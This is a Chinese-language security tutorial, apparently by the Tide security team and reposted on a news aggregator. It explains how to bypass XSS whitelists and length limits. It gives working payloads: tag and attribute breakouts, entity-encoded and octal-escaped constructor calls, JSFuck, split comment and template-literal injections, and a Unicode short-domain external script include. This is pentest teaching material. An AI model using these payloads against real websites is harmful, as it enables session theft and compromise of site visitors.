Redian新闻
>
XSS绕过小思路

XSS绕过小思路

科技


一、白名单绕过

语句输出在标签内

比如<title><img src="xxx"></title>

1.闭合标签构造语句

在白名单较为宽松的情况下,"<>都被放出,可以利用">先闭合标签,然后构造xss语句来进行触发。最后结果<title><img src=""><img src="" onerror="alert(5)"/>"></title>这种是最简单的方法,也很常见。

如果白名单内没有了",可以利用html的解析优先级来逃离引号来触发xss。构造<title><img src="</title><img src=1 onerror=alert(1)>"></title>,在浏览器中会优先解析标签,这样就会优先闭合标签,从而逃出引号的限制来触发xss。

2.闭合属性构造xss

如果现在白名单中没有了<>,那么就不能利用上述方法进行构造,可以考虑闭合src属性,构造新属性来触发xss。构造<title><img src="x" onerror="alert(1)"></title>闭合src,触发xss

如果白名单中<>'"全部被限制,这时xss利用就变的非常困难,但是如果onerror属性可控的话,可以用html实体编码进行绕过,来构造任意的xss语句。https://config.net.cn/tools/HtmlEncode.html 比如<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

语句输出在js中

语句直接输出在js代码中是非常危险的,相对应的白名单也会设置的非常严格。

1.constructor

JavaScript语言使用构造函数(constructor)作为对象的模版。constructor属性返回对创建此对象的数组函数的引用。简单来说Object.constructor===Function

在js中我们可以用Function来创建一个函数来构造xss,例如new Function('alert(1)')();,也可以不要new,简化成Function('alert(1)')()。然后将Function等价替换为Object.constructor,Object.constructor('alert(1)')()继续转换为'...'.substr.constructor('alert(1)')()这里的...为任意字符串,'...'.substr为一个Object,所以这个语句跟上面等价。在js中a.b可以写成a['b']的形式,一次上面的语句可以写成'...'['substr']['constructor']('alert(1)')() 然后在js中任意字符串都可一写成\+ascii码8进制的形式,将语句字符串全部替换,'...'['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')() 这样我们在白名单中就不需要字母就可以执行任意的xss语句了。

2.jsfuck

那么如果白名单更加严格,名单当中没有了\和数字,这时候我们就需要借助jsfuck。jsfuck源于一门编程语言brainfuck,其主要的思想就是只使用8种特定的符号来编写代码。而jsfuck也是沿用了这个思想,它仅仅使用6种符号来编写代码。它们分别是(、)、+、[、]、!。我们可以直接将alert(1)进行jsfuck编码进行测试。http://www.jsfuck.com/

也可以将Function('alert(1)')()进行编码来创建任意函数执行。

二、限制长度绕过

长度限制在20个字符内的绕过。

分段输入xss语句

还是拿<p><img src="xxx"></p>举例,在没有过滤的情况下闭合语句需要"><script>alert(1)</script>,用到了27个字符,而且基本没有缩短的空间。这时候就需要我们找多个点来分段构造xss。

1.利用注释符

<p><img src=""><script>/*"></p>
<p><img src="*/alert(1)/*"></p>
<p><img src="*/</script>"></p>

我们可以看到,分成3段利用注释符,将每段之间的的代码注释掉,从而将三段之间的xss语句连接起来执行。举个例子:ibuyu cms数据库存储时限制了20个字符 select table_schema,table_name,column_name,column_type,column_comment from information_schema.columns where table_schema= 'ibuyu'

将上述语句分三次插入,可以看到xss中间的语句都被注释掉,形成了。

2.模板字符串

ECMAScript 6.0(简称ES6)是Javascript语言的下一代标准,在2015年6月正式发布。ECMAScript是Javascript的语法规定,JavaScript是ECMAScript的实现。ES5标准中一般是输出模板是通过字符串拼接的方式进行的。在ES6中可以通过模板字符串简化字符串的拼接,模板字符串通过反引号来表示````。模板字符串相当于加强版的字符串,除了作为普通字符串,还可以用来定义多行字符串,还可以在字符串中加入变量和表达式。因此可以使用模板字符串来将分段语句之间的无用代码变为普通字符串,从而拼接xss。

<p><img src=""><script>`"></p>
<p><img src="`;alert(1)`"></p>
<p><img src="`;</script>"></p>

这样就可以利用上述两种方法绕过长度限制去拼接任意的xss语句了。

短域名

如果我们可以申请到一个足够短的域名,那么我们就可以利用域名引入外部的一些东西,比如<img src=//xx.xxxx>,这样问题似乎就变的简单了起来。但是,这个价格。。。

这时我们就得利用Unicode等价性漏洞。Unicode标准中提到,两个不同编码的Unicode字符可能存在一定的等价性,这种等价是字符或字符序列之间比较弱的等价类型,这些变体形式可能代表在某些字体或语境中存在视觉上或意义上的相似性。举例来说,a 和a(\uff41)在某些字体下看起来可能相同,15和⑮(\u246e)其表示的数学意义可能相同,所以这两种字符都有其相应的等价性。其中15是两个字符,而⑮是一个字符,但是再解析之后两者等价,这样我们就用一个字符代替了二个字符。同样的,可以用㎭对应到rad``℡对应到tel更多字符可以参考https://www.compart.com/en/unicode/ 这样我们就可以申请到非常便宜的域名了。

让我们来实验一些是不是真的可以引入外部的东西,插入<img src=//⑮℡.us>,可以看到我们引入了外部的图片。同样我们也可以引入js脚本来实现我们想要的东西<script src=//⑮℡.us>


往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
营地日记(31)阿拉巴马州冰箱用磁性门是因为里面死过小孩吗?一日团 | “挖呀挖”【Czxsa Keret 儿童T恤】100%纯棉!简约时尚!利落有型!不变形不起球不闷热!39.8两件!看得出,可乐已经给过小朋友两次机会了!赴美旅客注意了!登机牌若出现“SSSS”,你可能被盯上了!冷却的不止季节(43)— 贫与婪小心!注意登机牌上的神秘代码!出现"SSSS"麻烦大了!绕过“卷王”服装设计!这些赛道也能让你上岸时尚名校!豪言“肯定会超过小米”的格力手机要“停机”?XS方脸再小一码,倪妮做了啥?xswl,ChatGPT,百度这波操作,实数把我看懵逼了关于REA、SCEA和ED2同时提交的问题小白教程 / 高清无码/ Xshell 连接 VMware 上的虚拟机北师大教授刘文利:孩子们获取性信息,是通过小广告更安全呢,还是在课堂里?我们还能抓住什么子宫多大才正常?过大过小可能意味着这几类棘手的疾病!【新品】TXS“哥布林小鬼与他的爱马”开订!来美旅客注意!登机牌若出现“SSSS”字样,麻烦大了!华人帮朋友带物品回国,海关发现后竟被判死刑!怎么回事?maxsun GeForce GTX 1660 Super Terminator Computer Video Graphics小学英语要不要学语法,经历过小升初的家长都知道答案![电脑] i5 12450H@aboStudio ContainerXSTXS《原神》八重狐狸:福瑞化的神子也太棒了!头疼的上传绕过waf旅客警惕登机牌出现“SSSS”字样Spring Boot 如何防护 XSS + SQL 注入攻击 ?终于懂了![摄影] 【Oberwerth Q】徕卡Q3相机包是完美的徕卡M一机三镜包 | 内含Loewe XS Military改造小心!注意登机牌上的这些神秘代码!出现"SSSS"麻烦大了!孩子们获取性信息,是通过小广告更安全呢,还是在课堂里?|刘文利 一席第989位讲者在文学城结下的美好情缘(外一篇)活久见!见过新西兰的羊,但你见过小羊开车吗?糕妈:陪娃走过小学三年,没做幼小衔接的我,后悔了吗?来美旅客注意!登机牌若出现“SSSS”字样 麻烦大了搭载“独家黑科技”的索尼Xperia 1 V能干过小米13U吗?当过小老板,被疫情洗劫一空,开大卡谋生的蒙古族父亲“校长,开房找我,请放过小学生!”湖南耒阳市某小学多名女生遭校长侵犯
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。